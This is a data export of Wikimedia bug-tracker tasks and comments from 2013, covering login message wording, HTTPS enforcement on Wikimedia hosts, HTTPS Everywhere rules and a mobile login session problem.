+229266,"""Remember me"" on Login interface should state duration",Heh.,,,1366934874,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a2sr77qzht3ylne4uods,task_subcomment,,True,c2,1,True,,,-18,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+49691,"""Login error"" header is incorrect if you haven't created an account yet","**Author:** `Thehelpfulonewiki`
+
+**Description:**
+When I go to https://en.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Main+Page&useNew=1 and make an error (username is use, non-matching passwords etc), the Header of the red error message is an the text ""Login error"" in bold. This isn't quite correct because the user isn't logging in yet - they're trying to create an account.
+
+Perhaps ""Account creation error"" or words to that effect?
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: minor",Low,25.0,1366934580,1367031649.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-vg2qdo27ztdi3uode2dl,task_description,resolved,True,c2,1,False,False,True,-18,True,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+229049,"""Login error"" header is incorrect if you haven't created an account yet",Related URL: https://gerrit.wikimedia.org/r/60957 (Gerrit Change I47d87858cd0e9dc3c668351283234388294872bb),,,1366941454,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vg2qdo27ztdi3uode2dl,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+229045,"""Login error"" header is incorrect if you haven't created an account yet","Indeed, it's more cruft from Userlogin and Create account sharing code. Patch coming.",,,1366941410,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-vg2qdo27ztdi3uode2dl,task_subcomment,,True,c2,1,False,,,-18,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+49508,VisualEditor: Always submit Parsoid bugs over https,"Please write your bugs report to http://parsoid.wmflabs.org/_bugs/ only with https to avoid a secure hole.
+
+Please see this as a blocker for the coming roll out. Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1366641360,1370629791.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_description,invalid,True,c2,1,False,False,True,-19,True,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+217569,VisualEditor: Always submit Parsoid bugs over https,"We're scrapping this feedback system, so marking as INVALID.",,,1370629791,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+217567,VisualEditor: Always submit Parsoid bugs over https,"Comment from bug 47507 comment 1:
+
+| No data goes over the wire that is personally-identifying, so I would
+| disagree that this is a blocker; however, yes, this is good practice and we
+| should try to do thi[s] (especially, to avoid unexpected mix-mode for users).",,,1366668178,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-zdwyyiwstl6uz4rcbn5g,task_subcomment,,True,c2,1,True,,,-19,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+49276,wikimediafoundation.org should be HTTPS-only,"HTTPS can be enforced via <https://noc.wikimedia.org/conf/remnant.conf>. I had a thought today that wikimediafoundation.org should be HTTPS-only. Subsequent thoughts added doubt. For example, the wiki doesn't really get used for donation forms as much these days, I don't think, so some risk is mitigated.
+
+But... it's still a weird fishbowl wiki that allows strange uploads and raw HTML, so it wouldn't be totally unexpected for it to enforce HTTPS. I think it might be nice to have. Filing this as an enhancement request for consideration.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1366086660,1372375016.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_description,declined,True,c2,1,True,False,True,-20,True,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+229701,wikimediafoundation.org should be HTTPS-only,"We're waiting on switching to varnish to make the redirects behave properly. When users are forced to login via https (which is soon) this won't be a problem for logged-in users anyway. Also, the current status quo is that anons hit http.
+
+Forcing users to HTTPS will lock out users in any country that blocks HTTPS, so I'd prefer not to do this.",,,1372375004,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,False,,,-9,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+229689,wikimediafoundation.org should be HTTPS-only,"Change 56062 abandoned by Dzahn:
+Always redirect wikimediafoundation.org to https (RT-4830)
+
+Reason:
+abandoning in favor of waiting for varnish to handle it, see bug for details
+
+https://gerrit.wikimedia.org/r/56062",,,1372374877,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,False,,,-9,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+229681,wikimediafoundation.org should be HTTPS-only,"(In reply to comment #2)
+> please continue discussion on gerrit patch or here. i don't have a strong
+> opinion on it, just created the patch to show it would be in redirects.conf
+> as opposed to remnants.conf
+
+Thanks for catching that, by the way. I'd gotten private wikis and fishbowl wikis slightly confused.
+
+In addition to changing redirects.conf, I believe $wgServer (or maybe $wgCanonicalSomething) also needs to be adjusted.",,,1370417566,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-12,True,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+229675,wikimediafoundation.org should be HTTPS-only,This seems like an uncontroversial change.,,,1370294268,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+229670,wikimediafoundation.org should be HTTPS-only,"please continue discussion on gerrit patch or here. i don't have a strong opinion on it, just created the patch to show it would be in redirects.conf as opposed to remnants.conf",,,1370288783,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-13,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,0,0,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+229666,wikimediafoundation.org should be HTTPS-only,https://gerrit.wikimedia.org/r/#/c/56062/,,,1366242582,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-tn3sw35bnjlbtnqz54ve,task_subcomment,,True,c2,1,True,,,-19,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+48965,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","**Author:** `testingwithfire`
+
+**Description:**
+I'm testing the new login process with ""useAgora"" in the query string.
+
+If you have too many failed attempts to log in, you'll get this message: ""You have made too many recent login attempts. Please wait before trying again.""
+
+How long should I wait? The message should specify the time to wait.
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=29191",Low,25.0,1365273180,1376813951.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_description,resolved,True,c2,1,False,False,True,-21,True,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,1,1,0,0,1,0,0,0
+210740,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait",Approved by Nikerabbit.,,,1376813951,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,True,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+210735,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","Change 78649 merged by jenkins-bot:
+In login-throttled, specify how long you have to wait before logging in
+
+https://gerrit.wikimedia.org/r/78649",,,1376813188,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,0
+210730,"""Please wait before trying again."" message (login-throttled) should specify how long you have to wait","Change 78649 had a related patch set uploaded by Nemo bis:
+In login-throttled, specify how long you have to wait before logging in
+
+https://gerrit.wikimedia.org/r/78649",,,1376215160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z7o43iajmgcx5cbsfi3i,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+48827,samarium.wikimedia.org should support HTTPS,"I keep getting redirected to https://samarium.wikimedia.org/ by HTTPS Everywhere in Chrome. It'd be nice if this worked.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+**URL**: https://samarium.wikimedia.org/",Low,25.0,1364960940,1366134775.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-vql2qsqvkweuyniqcubs,task_description,resolved,True,c2,1,True,False,True,-21,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+227152,samarium.wikimedia.org should support HTTPS,"**mwalker** wrote:
+
+Samarium is know available via SSL at https://frdata.wikimedia.org/",,,1366134775,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,False,,,-20,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+227144,samarium.wikimedia.org should support HTTPS,"(In reply to comment #2)
+> (In reply to comment #1)
+> > We're working on it but this is not a high priority.
+> 
+> Okay. Good to know.
+> 
+> > Alternatively you can file a bug with the EFF for making software that
+> > doesn't actually work in 100% of cases and doesn't gracefully degrade.
+> 
+> I believe Roan has worked on this on GitHub. I think they accept pull
+> requests.
+> We provided some of the rules at some point, but surely we didn't tell them
+> that everything under *.wikimedia.org would support HTTPS. Perhaps the rules
+> need tweaking here or the fallback logic needs a once-over or there's not
+> enough reporting to the user or something. I agree that it should be
+> investigated.
+> 
+> This bug is about the Wikimedia side of things.
+
+They're here: https://git.torproject.org/https-everywhere.git
+Rules are in src/chrome/content/rules/Wikimedia.xml
+It expects all Wikimedia hosts to support HTTPS except the ones covered by the exclusion patterns:
+^http://(apt|bayes|bayle|brewster|bug-attachment|commonsprototype\.tesla\.usability|commons\.prototype|cs|cz|dataset2|de\.prototype|download|dumps|ekrem|emery|en\.prototype|ersch|etherpad|flaggedrevssandbox|flgrevsandbox|gallium|ganglia|ganglia3|harmon|hume|ipv4\.labs|ipv6and4\.labs|jobs|mlqt\.tesla\.usability|mobile\.tesla\.usability|m|nagios|oldusability|project2|prototype|results\.labs|search|shop|sitemap|snapshot3|stafford|stats|status|test\.prototype|torrus|ubuntu|wiki-mail|yongle|wikitech|wlm)\.wikimedia\.org
+^http://(static|download)\.wikipedia\.org/",,,1365033063,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,True,,,-21,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+227137,samarium.wikimedia.org should support HTTPS,"(In reply to comment #1)
+> We're working on it but this is not a high priority.
+
+Okay. Good to know.
+
+> Alternatively you can file a bug with the EFF for making software that
+> doesn't actually work in 100% of cases and doesn't gracefully degrade.
+
+I believe Roan has worked on this on GitHub. I think they accept pull requests. We provided some of the rules at some point, but surely we didn't tell them that everything under *.wikimedia.org would support HTTPS. Perhaps the rules need tweaking here or the fallback logic needs a once-over or there's not enough reporting to the user or something. I agree that it should be investigated.
+
+This bug is about the Wikimedia side of things.",,,1365032373,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,True,,,-21,True,1,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,1
+227129,samarium.wikimedia.org should support HTTPS,"**mwalker** wrote:
+
+We're working on it but this is not a high priority. Alternatively you can file a bug with the EFF for making software that doesn't actually work in 100% of cases and doesn't gracefully degrade.",,,1365006053,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-vql2qsqvkweuyniqcubs,task_subcomment,,True,c2,1,False,,,-21,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+48241,"Allow mobile users to be ""remembered"" on login.","Currently, there is no ""remember me"" checkbox on the mobile site for en.wikipedia.  This means that every-time my browser crashes or I close it, I have to re-login to check my Watchlist.  This results in me having to login 20 times a day on average and has driven me away from using the mobile site.  Would like to see this checkbox added to the mobile login page, even if it is only ""remember me for today.""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1363530600,1370278303.0,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,False,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_description,declined,True,c2,1,False,False,True,-24,True,1,0,0,0,0,1,1,0,0,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+215553,"Allow mobile users to be ""remembered"" on login.","Since we have been totally unable to replicate the problem, it sounds like a very device-specific issue, and no one else has reported similar issues, I am closing this as 'worksforme'. If anyone else is experiencing the issue or can replicate this problem, we can reopen the bug.",,,1370278303,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-13,True,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,1,0,1,0,0,0
+215548,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #13)
+> Shoemaker, have you tried using a different browser on your device? Also,
+> have
+> you experienced issues with login on other sites?
+
+My device can't handle adding another browser, I tried and it locked up forcing me to have to reset the device to factory again.  Another strange thing on that device I don't remember if I mentioned before and may not be relevant; when I am at the login screen and try to login, it hangs when I hit the login button.  What I have to do is hit login, hit stop, then hit login again and it goes right through.  It is very curious and I do not know if this might be somehow related.",,,1369916923,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-13,True,0,0,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+215544,"Allow mobile users to be ""remembered"" on login.",Marking as lower importance as we've had no other reports. Still very curious to why this isn't working though and keen to fix.,,,1369330071,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-14,True,0,0,1,0,1,1,0,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0
+215540,"Allow mobile users to be ""remembered"" on login.","Shoemaker, have you tried using a different browser on your device? Also, have you experienced issues with login on other sites?",,,1368464339,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,0
+215534,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #11)
+> No problems with the office Blackberry 9800.... ShoeMaker is it possible you
+> have any browser privacy settings?
+> 
+> Reading this [1] it could be related to memory - could you try trying
+> clearing
+> the CONTENT CACHE and the PUSHED CONTENT ?
+> 
+> [1]
+> http://forums.crackberry.com/blackberry-curve-83xx-f52/browser-issue-keep-
+> getting-kicked-out-after-logging-websites-573105/
+
+I've cleared the cache and pushed content many times (makes me have to log back into everything, so annoying).  I've eliminated all except the most essential programs (home, phone, mail, and browser are the only ones left running.  I also have all privacy settings turned off so anything can come in.  Any other ideas?",,,1368237091,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,1,1,0,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1
+215527,"Allow mobile users to be ""remembered"" on login.","No problems with the office Blackberry 9800.... ShoeMaker is it possible you have any browser privacy settings?
+
+Reading this [1] it could be related to memory - could you try trying clearing the CONTENT CACHE and the PUSHED CONTENT ?
+
+[1] http://forums.crackberry.com/blackberry-curve-83xx-f52/browser-issue-keep-getting-kicked-out-after-logging-websites-573105/",,,1368231678,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-16,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,0,0,0,1,0,0,1
+215520,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #9)
+> Jeez, that's really irritating. This sounds like a totally different problem
+> than what Jon/Brion mentioned earlier in comments 4 and 5. Should have asked
+> you earlier - what browser are you using? Does the same behavior happen with
+> other browsers on the same device?
+> 
+> Michelle, Jon - do we have a device we can replicate this behavior on?
+
+alert(navigator.userAgent); returns:
+Mozilla/5.0 (BlackBerry; U; BlackBerry 9330; en-US) AppleWebKit/534.8+ (KHTML, like Gecko) version.6.0.0.706 Mobile Safari/543.8+",,,1366940042,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+215512,"Allow mobile users to be ""remembered"" on login.","Jeez, that's really irritating. This sounds like a totally different problem than what Jon/Brion mentioned earlier in comments 4 and 5. Should have asked you earlier - what browser are you using? Does the same behavior happen with other browsers on the same device?
+
+Michelle, Jon - do we have a device we can replicate this behavior on?",,,1366935731,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,0
+215506,"Allow mobile users to be ""remembered"" on login.","(In reply to comment #7)
+> ShoeMaker, if you log in to the mobile site, close your browser, and
+> immediately reopen it, are you still logged in? I ask because I'm wondering
+> if the problem you are experiencing is the same as what Jon/Brion mention in
+> Comments 4 and 5, or if you're experiencing an actual issue with your session
+> being preserved.
+
+Okay, for me it works like this: If I'm logged into the mobile site and I close the browser and open it right back up instantly, I'm ""usually"" okay.  If I close it and try to open it back up 5 minutes later, I have to log back in.  If I have it open and I'm walking down the street and my phone picks up a different hotspot and I get a new IP address or if my provider switches towers, I get logged out between pages without closing. If I click on the desktop link on the bottom of the page to make an edit from mobile, I have to log back in.  If I click on mobile from the bottom of the page while on desktop, I have to log back in.  The ""only"" way I can stay logged in is if I stay in desktop version, and even then every 24-36 hours I need to log back in.  I use a BlackBerry Curve 9330/6.0.0.706 if that is of any importance, and I can get you a full JavaScript userAgent string if you need it.",,,1366935084,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-rbfpv2lztauqfw4dbqfj,task_subcomment,,True,c2,1,False,,,-18,True,1,0,0,1,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
